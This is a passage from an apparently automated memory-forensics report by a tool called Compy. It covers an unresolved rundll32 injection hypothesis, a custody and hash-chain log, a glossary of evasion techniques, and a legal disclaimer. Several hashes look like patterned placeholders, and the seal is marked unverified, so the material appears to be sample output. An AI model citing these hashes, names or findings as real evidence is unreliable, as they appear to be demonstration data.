- Tri-State UNKNOWN findings reflect localized telemetry constraints and require external endpoint correlation before clearance.

⚠ Procedural Requirement for UNKNOWN Findings

When candidate hypotheses lack corroborating thread execution proof or have unresolvable PDB symbols, they are placed on the Analyst Verification Worksheet below. **Per CERT-In and judicial guidelines, unresolved hypotheses must never be certified as Clean until physical disk/EDR correlation is performed.**

Candidate Verification Worksheet (Unresolved Candidates)

`CANDIDATE ID: CAND-UNKNOWN-01`

UNRESOLVED HYPOTHESIS

Hypothesis: Possible secondary reflective injector inside rundll32.exe (PID: 4820)

Reason Unresolved: PDB debug symbols for ntdll.dll version 10.0.22631.3880 were unavailable in local offline mode; unable to resolve API trampoline address.

Required External Telemetry: Offline provisioned Windows 11 symbol package or host disk MFT triage to confirm rundll32.exe target DLL.

ANALYST RESOLUTION CHECKLIST:

- [ ] Mount host disk image and extract prefetch file for rundll32.exe
- [ ] Download offline symbol file ntdll.pdb matching build 22631.3880
- [ ] Re-run Compy V2 with local symbol cache to resolve trampoline address
- [ ] Confirm if memory region at 0x7FFE20000000 contains malicious shellcode

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16. Pipeline Custody & Report Integrity Seal

SEAL: UNVERIFIED / GENERATED

Automated Analysis Pipeline Custody & Transfer Log

Note: This table records automated evidence ingest and transfer milestones within the software pipeline. It does not replace physical chain of custody documentation or statutory property seizure forms.

Item #	Transferred From	Transferred To	Date & Time (UTC)	Purpose	Hash Match
1	Cyber Crime Incident Response Team	Dr. Vikramaditya Sen, Senior Forensic Examiner	2026-10-11 15:30:00	Evidence ingestion, cryptographic hashing & memory forensics	✓ YES
2	Dr. Vikramaditya Sen, CCFSL	Inspector Rajesh Kumar, Investigating Officer	2026-10-11 18:30:00	Return of master hash-sealed evidence drive with Section 65B report	✓ YES

Report Integrity Seal (Cryptographic Metadata Chain)

This seal represents a document-level cryptographic SHA-256 hash sequence computed across report generation metadata (evidence hash, investigation ID, verdict, and compilation state). It binds the compiled findings to prevent post-generation tampering. It does not replace the domain Evidence Ledger or independently verify physical evidence acquisition authenticity.

#	Timestamp (UTC)	Sealed Milestone / Action	Current Block Hash (SHA-256)	Previous Block Hash
1	2026-10-11 15:30:12	PHYSICAL_IMAGE_INGESTED	e3b0c44298fc1c149afbf4c8...	0000000000000000000000000...
2	2026-10-11 15:31:05	CRYPTOGRAPHIC_HASH_VERIFIED	8f4e2b10a9c8d7e6f5a4b3c2...	e3b0c44298fc1c149afbf4c8...
3	2026-10-11 15:35:42	PROCESS_LIST_AND_VAD_NODES_MAPPED	3a7b1c4e9f8a0b2d5e6c7d8e...	8f4e2b10a9c8d7e6f5a4b3c2...
4	2026-10-11 15:40:19	ANOMALOUS_RWX_VAD_DETECTED	7f8a9b0c1d2e3f4a5b6c7d8e...	3a7b1c4e9f8a0b2d5e6c7d8e...
5	2026-10-11 15:45:00	DKOM_UNLINKED_ROOTKIT_CARVED	b2c3d4e5f6a7b8c9d0e1f2a3...	7f8a9b0c1d2e3f4a5b6c7d8e...
6	2026-10-11 18:15:00	FINAL_TRI_STATE_REPORT_SEALED	d1e2f3a4b5c6d7e8f9a0b1c2...	b2c3d4e5f6a7b8c9d0e1f2a3...

🔒 Report Integrity Seal Verification

Each seal entry cryptographically binds the canonical payload to the preceding state hash (covering index, timestamp, evidence SHA-256, filename, investigation ID, verdict, and compilation findings count). This validates that report artifact metadata has not been altered post-compilation. Note: As a self-contained hash chain, this detects tampering but does not substitute for an asymmetric digital signature or physical chain-of-custody documentation.

⚠ SEAL GENERATED — VERIFICATION PENDING

17. Digital Forensics Reference Glossary

LEGAL & TECHNICAL

Fileless Malware: Malicious software that operates entirely within volatile computer memory (RAM) or native OS scripting interpreters, without storing permanent binary files on the hard drive.

VAD (Virtual Address Descriptor): A self-balancing binary tree structure utilized by the Windows memory manager to track memory allocation and protection states for every process.

DKOM (Direct Kernel Object Manipulation): A sophisticated rootkit technique where malware directly modifies kernel memory objects (such as unlinking an EPROCESS from `ActiveProcessLinks`) to conceal its execution.

Process Hollowing: A code injection method where an attacker spawns a legitimate process in a suspended state, hollows out its legitimate memory sections, and replaces them with an encrypted malicious payload.

PAGE_EXECUTE_READWRITE (RWX): A memory page permission granting simultaneous write and execution rights. High-fidelity forensic indicator of shellcode unpacking and self-modifying code.

PPID Spoofing: The manipulation of a newly created process's parent process metadata to make it appear as an illegitimate child of a trusted Windows daemon (e.g., spoolsv.exe or services.exe).

Reflective DLL Injection: A technique whereby a dynamic link library is injected into a target process's memory space directly from volatile memory buffers, completely bypassing the Windows operating system loader.

Memory Smear: Inconsistencies introduced during physical RAM acquisition due to running CPU threads modifying memory pages while the imaging tool is reading them.

Tri-State Forensic Logic: Deterministic three-valued logic system (TRUE / FALSE / UNKNOWN) ensuring that forensic conclusions distinguish between verified absence of malware and lack of investigative telemetry.

Statutory Certification / Legal Admissibility: Formal certification under relevant jurisdiction rules (e.g., Section 65B, FRE 902) requiring execution by qualified personnel certifying acquisition provenance, tool validation, and evidence integrity.

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18. Technical Findings Declaration & Evidentiary Disclaimer

TECHNICAL DECLARATION

Technical Evidentiary Assessment

Based upon deterministic algorithmic parsing, cross-view kernel structure corroboration, and cryptographic integrity verification performed upon the volatile memory image `DESKTOP-EXECUTIVE-RAM-DUMP.raw` (SHA-256: `8f4e2b10a9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2`), the automated analysis identified forensic anomalies consistent with in-memory or evasion activity within the executed capability scope (6 module(s) evaluated). Supported findings include: 2 process lineage/PPID anomaly(ies), and 1 cross-view process discrepancy(ies). This technical assessment is strictly limited to the examined memory structures and capability checks executed during this analysis run.

🛡 Software Output Disclaimer & Legal Admissibility Notice

This document represents automated technical reasoning generated by forensic software operating upon the ingested memory artifact. The software does not establish legal admissibility, prove physical acquisition provenance, or independently satisfy statutory chain of custody requirements. Formal legal admissibility (such as under Section 65B/45 of the Indian Evidence Act, Federal Rule of Evidence 902, or equivalent jurisdictional standards) requires physical acquisition verification and attestation by authorized human forensic personnel.

Automated Generation Attestation:

1. This report was compiled deterministically by **Compsognathus (Compy)** (Version 2.0.0-PRO) from evidence structures extracted during automated execution.
2. The source digital evidence file (**DESKTOP-EXECUTIVE-RAM-DUMP.raw**) was cryptographically registered with SHA-256 hash `8f4e2b10a9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2`.
3. Observed findings reflect the specific detection modules executed during the analysis session. Unexecuted capabilities remain unassessed.

OPERATOR / EXAMINER ATTESTATION:

Name: Dr. Vikramaditya Sen
Designation: Assistant Director & Senior Forensic Examiner
Organization / Lab: Central Cyber Forensic Science Laboratory (CCFSL)
Date: 2026-10-11 23:45:00

[SIGNATURE OF REVIEWING ANALYST]

LAB / ENTITY STAMP

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